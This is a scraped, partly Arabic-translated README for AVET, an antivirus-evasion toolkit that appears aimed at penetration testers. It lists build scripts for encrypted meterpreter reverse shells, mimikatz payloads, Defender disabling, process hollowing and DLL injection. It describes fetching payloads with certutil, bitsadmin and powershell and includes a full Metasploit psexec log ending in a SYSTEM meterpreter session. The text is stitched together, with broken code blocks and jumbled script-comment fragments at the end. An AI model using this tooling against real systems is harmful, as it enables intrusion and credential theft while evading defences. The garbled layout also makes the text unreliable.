أداة تجاوز مضادات الفيروسات

لم يعد يتم تطوير AVET بسبب التطور التقني والقيود الزمنية.

AVET هي أداة تجاوز مضادات الفيروسات، تم تطويرها لتسهيل حياة مختبري الاختراق والتجربة مع تقنيات تجاوز مضادات الفيروسات، بالإضافة إلى الأساليب الأخرى التي تستخدمها البرمجيات الخبيثة. للحصول على نظرة عامة على الميزات الجديدة في v2.4، بالإضافة إلى إصدارات الإصدارات السابقة، ألق نظرة على ملف CHANGELOG.

بعض الميزات

عند تشغيل ملف .exe تم إنشاؤه باستخدام msfpayload وشركاه، غالبًا ما يتم التعرف على الملف بواسطة برامج مكافحة الفيروسات
AVET هي أداة تجاوز مضادات الفيروسات تستهدف أجهزة ويندوز بملفات تنفيذية
يمكن الآن استخدام أنواع مختلفة من الحمولات المدخلة: shellcode و exe و dlls
المزيد من التقنيات المتاحة: حقن shellcode/dll، تجويف العملية (process hollowing) والمزيد
طرق مرنة لاسترجاع الحمولة ومفتاح فك التشفير وما إلى ذلك
الاستخدام كـ dropper
يتيح ربط تكرارات متعددة من AVET إضافة طبقات تجنب متعددة إذا لزم الأمر
مزيج من التقنيات: قم بتنزيل حمولتك المشفرة عبر powershell، مع توفير مفتاح فك التشفير عبر وسيطة سطر الأوامر في وقت التنفيذ، ثم قم بحقن حمولتك في عملية أخرى، مع اختيار من بين تقنيات متعددة
فحوصات أساسية لصندوق الرمل (sandbox)
إنشاء أمثلة معادية ضد الكاشفات الثابتة القائمة على التعلم الآلي
تنفيذ جميع نصوص البناء المتاحة باستخدام build_script_tester.py، قد يكون أيضًا مثيرًا للاهتمام للباحثين لبناء مجموعة من العينات "الخبيثة" باستخدام تقنيات تجنب وحقن مختلفة

ملاحظة مهمة

ليست كل التقنيات ستتجاوز كل محرك مكافحة فيروسات. إذا لم تعمل تقنية أو نص بناء واحد، يرجى اختبار تقنية أخرى. لا تتردد في التجربة! بعد كل شيء، هذه مجموعة أدوات - لكن ينبغي عليك استخدام المطرقة بنفسك.

التثبيت

تنطبق تعليمات التثبيت على Kali 64bit و tdm-gcc!

يمكنك استخدام script الإعداد:```bash ./setup.sh

This should automatically get you started by installing/configuring wine and installing tdm-gcc.
You'll shortly have to click through the tdm-gcc installer GUI though - standard settings should be fine.
The script will also ask if you want to install AVET's dependencies, which are needed to use some of the build scripts. The fetched dependencies will be put into separate folders next to the avet folder.


Dependencies will grab the latest releases of:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)


If for whatever reason you want to install wine and tdm-gcc manually:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

If you are not using Kali or don't want to install Metasploit on your system, you can use the Docker Container instead.
The container encapsulates Metasploit and avet and the samples will be created in your current directory.
It is also possible to use an graphical text editor like gedit.

Building the container:```bash
sudo docker build -t avet:v0.1 .

الاستخدام:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

للحصول على تجربة أفضل، يُوصى بإنشاء alias لهذا.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET بالطريقة السهلة

avet.py هي أداة بسيطة بلغة Python صُممت لمساعدتك في استخدام هذه الأداة.

تقوم بعرض كل السكريبتات الموجودة حالياً في مجلد البناء (build). بعد اختيار واحد، ستتمكن من التقدم خلال السكريبت سطراً سطراً، مع إمكانية تعديل المحتوى أثناء العمل.

الأمر الأخير مفيد بشكل خاص حيث يمكنك تعريف متغيرات LHOST و LPORT جديدة لـ msfvenom في كل مرة تقوم فيها بتشغيل سكريبت بناء عبر fabric. يمكنك تعريف قيم افتراضية لـ LHOST و LPORT في ملف /build/global_connect_config.sh، والتي تُستخدم إذا لم تقم بإعادة تعريفها.

هذه التعديلات مؤقتة، مما يعني أن أي تغييرات قمت بها لن تستمر في سكريبت البناء على القرص. يتم تنفيذ النسخة المعدلة مرة واحدة، ويتم بناء الملف التنفيذي الخاص بك.

إليك مثال سريع (اضغط للتوسيع):

``` python3 avet.py

                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

#### static_from_here يتم تجميع البيانات بشكل ثابت في الملف التنفيذي المُنشأ، يتم استرجاعها من الوسيطة المحددة في سكريبت البناء. #### dynamic_from_file تُقرأ البيانات من ملف في وقت التشغيل. #### from_command_line_hex يسترجع البيانات من سلسلة سداسية عشرية بتنسيق "11aabb22.." (من سطر الأوامر). #### from_command_line_raw يسترجع البيانات من وسيطة سطر أوامر. يتم تفسير السلسلة النصية ASCII المُعطاة كبيانات بايت خام. #### download_certutil يقوم بتنزيل البيانات من URI محدد، باستخدام ```certutil.exe -urlcache -split -f```. يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات. #### download_curl يقوم بتنزيل البيانات باستخدام curl. يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات. #### download_internet_explorer يقوم بتنزيل البيانات من URL محدد، باستخدام Internet Explorer. يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات. #### download_powershell يقوم بتنزيل البيانات من URI محدد عبر powershell. يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات. #### download_socket يقوم بتنزيل البيانات من URI محدد، باستخدام المقابس (sockets). تُقرأ البيانات مباشرة في الذاكرة، ولا يتم إسقاط ملف على القرص. #### download_bitsadmin يقوم بتنزيل البيانات باستخدام الأداة المساعدة BITSAdmin لنظام Windows. يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات. ### طرق تنفيذ الحمولة (Payload execution methods) كيفية تنفيذ/توصيل الحمولة. تتطلب طرق الحقن/التجوف (injection/hollowing) معلومات إضافية حول الهدف، والتي يمكن تقديمها عبر ```set_payload_info_source <the_info>``` (انظر طرق استرجاع البيانات). #### exec_shellcode ينفذ كود شيل (shellcode) 32 بت باستخدام ربط دالة C. #### exec_shellcode64 ينفذ كود شيل 64 بت باستخدام ربط دالة C و VirtualProtect. #### exec_shellcode_ASCIIMSF ينفذ كود شيل مشفر بتشفير ASCIIMSF عبر ```call eax```. #### hollowing32 ينشئ عملية جديدة، يقطع الصورة الأصلية ويجوف الحمولة المُعطاة في العملية الجديدة. الحمولة هي صورة قابلة للتنفيذ 32 بت. يعمل على الأهداف 32 بت. #### hollowing64 نفس hollowing32، لكن باستخدام حمولات PE 64 بت للأهداف 64 بت. #### inject_dll يحقن مكتبة dll في عملية هدف، باستخدام ```CreateRemoteThread```. يعمل الحقن لحمولات 32 بت في عمليات 32 بت، وحمولات 64 بت في عمليات 64 بت، على التوالي. #### inject_shellcode يحقن كود شيل في عملية هدف، باستخدام ```CreateRemoteThread```. يعمل الحقن لكود شيل 32 بت في عمليات 32 بت، وكود شيل 64 بت في عمليات 64 بت، على التوالي. ### التشفير والترميز يوفر AVET مشفرات لكل مخطط، يمكن تطبيقها على الحمولة قبل التجميع/التوصيل. عند التنفيذ، يقوم المفكك المحدد بعد ذلك بإزالة التعتيم عن الحمولة في وقت التشغيل. فيما يلي مثال على RC4، حيث يتم استرجاع مفتاح فك التشفير من سطر الأوامر بتنسيق سداسي عشري في وقت التنفيذ:``` generate_key preset aabbccddee input/key_raw.txt encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt set_key_source from_command_line_hex set_decoder rc4

وعلى جانب metasploit:``` msf exploit(psexec) > use exploit/windows/smb/psexec msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe EXE::custom => /root/tools/ave/pwn.exe msf exploit(psexec) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(psexec) > set rhost 192.168.116.183 rhost => 192.168.116.183 msf exploit(psexec) > set smbuser dax smbuser => dax msf exploit(psexec) > set smbpass test123 smbpass => test123 msf exploit(psexec) > set lport 8443 lport => 8443 msf exploit(psexec) > run [*] 192.168.116.183:445 - Connecting to the server... [*] Started bind handler [*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'... [*] Sending stage (957487 bytes) to 192.168.116.183 [*] 192.168.116.183:445 - Selecting native target [*] 192.168.116.183:445 - Uploading payload... [*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored! [*] 192.168.116.183:445 - Created \mzrCIOVg.exe... [+] 192.168.116.183:445 - Service started successfully... [*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe... [-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0) [*] Exploit completed, but no session was created. msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200 msf exploit(psexec) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183) msf exploit(psexec) > sessions -i 4 [*] Starting interaction with 4... meterpreter > sysinfo Computer : DAX-RYMZ48Z3EYO OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : de_DE Domain : ARBEITSGRUPPE Logged On Users : 2 Meterpreter : x86/windows

يمكن قراءة المزيد عن الأمثلة العدائية، والتحسين الجيني، وMalConv هنا: - [أمثلة عدائية EXEmples: مسح وتقييم تجريبي للهجمات العملية على التعلم الآلي لكشف برمجيات Windows الخبيثة](https://arxiv.org/abs/2008.07125) - [تحسين الصندوق الأسود مع الحفاظ على الوظائف لبرمجيات Windows الخبيثة العدائية](https://arxiv.org/abs/2003.13526) - [كشف البرمجيات الخبيثة بأكل ملف EXE كامل](https://arxiv.org/abs/1710.09435) ## المزيد --- للأساسيات حول تجاوز مضادات الفيروسات، AVET والمزيد من المعلومات، ألق نظرة هنا (معظمها للإصدار 1.3): - [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/) - [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/) - [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf) - [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf) - [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r) - [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx) - [https://github.com/tacticaljmp](https://github.com/tacticaljmp) - [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC) - [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter) - [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode) - [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/) - [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish) - [https://danielsauder.com](https://danielsauder.com)

الأكثر شعبية

avet

أداة تجاوز مضادات الفيروسات

لم يعد يتم تطوير AVET بسبب التطور التقني والقيود الزمنية.

جدول المحتويات

بعض الميزات

ملاحظة مهمة

التثبيت

AVET بالطريقة السهلة

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

enable debug output

generate key file with preset key

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

أمثلة الاستخدام

سكريبتات البناء

التوثيق

طرق استرجاع البيانات

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

Download 64-bit shellcode via powershell, and execute.

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

Retrieves the tuple (target PID, dll path) from command line on execution

static_from_file

sleep

sleep for 3 seconds

التحقق من التقديم السريع

اسم المستخدم

getchar

fopen

gethostbyname

has_vm_mac

hide_console

عدد العمليات

النطاق

Stops computation after 20 seconds

أدوات المساعدة

data_raw_to_c

generate_key

sh_format

AVET & metasploit psexec

Designed for use with msf psexec module!

print AVET logo

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

import global default lhost and lport values from build/global_connect_config.sh

override connect-back settings here, if necessary

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

import feature construction interface

add evasion techniques

generate key file

encode shellcode

array name buf is expected by static_from_file retrieval method

no command preexec

set shellcode source

convert generated key from raw to C into array "key"

set key source

set payload info source

set decoder

set shellcode binding technique

enable debug printing

compile as service

cleanup

أمثلة الخصومة

التلاعبات العملية